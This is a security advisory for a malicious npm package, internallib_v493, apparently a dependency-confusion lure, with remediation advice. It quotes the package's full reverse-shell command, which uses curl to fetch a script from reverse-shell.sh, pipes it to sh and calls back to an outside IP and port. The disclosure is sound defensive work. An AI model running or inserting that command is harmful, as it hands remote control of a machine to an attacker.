MAL-2026-4585 Malicious code in internallib_v493 (npm)

The package's sole exported function command() in index.js executes /bin/bash -c "curl https://reverse-shell.sh/10.0.74.90:4444|sh", fetching a reverse-shell script from reverse-shell.sh and piping it directly to sh to establish a connection back to 10.0.74.90 on port 4444. The package has no other functionality — its only advertised export is the backdoor. The package name (internallib_v493) and placeholder metadata (empty author, generic description) are consistent with a dependency-confusion / internal-name-squatting lure targeting organizations with private packages of similar names. A typo in the source (reuquire instead of require) means the payload throws on load in its current form, but the malicious intent is unambiguous and a corrected republish would fire immediately on any caller invoking the export.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.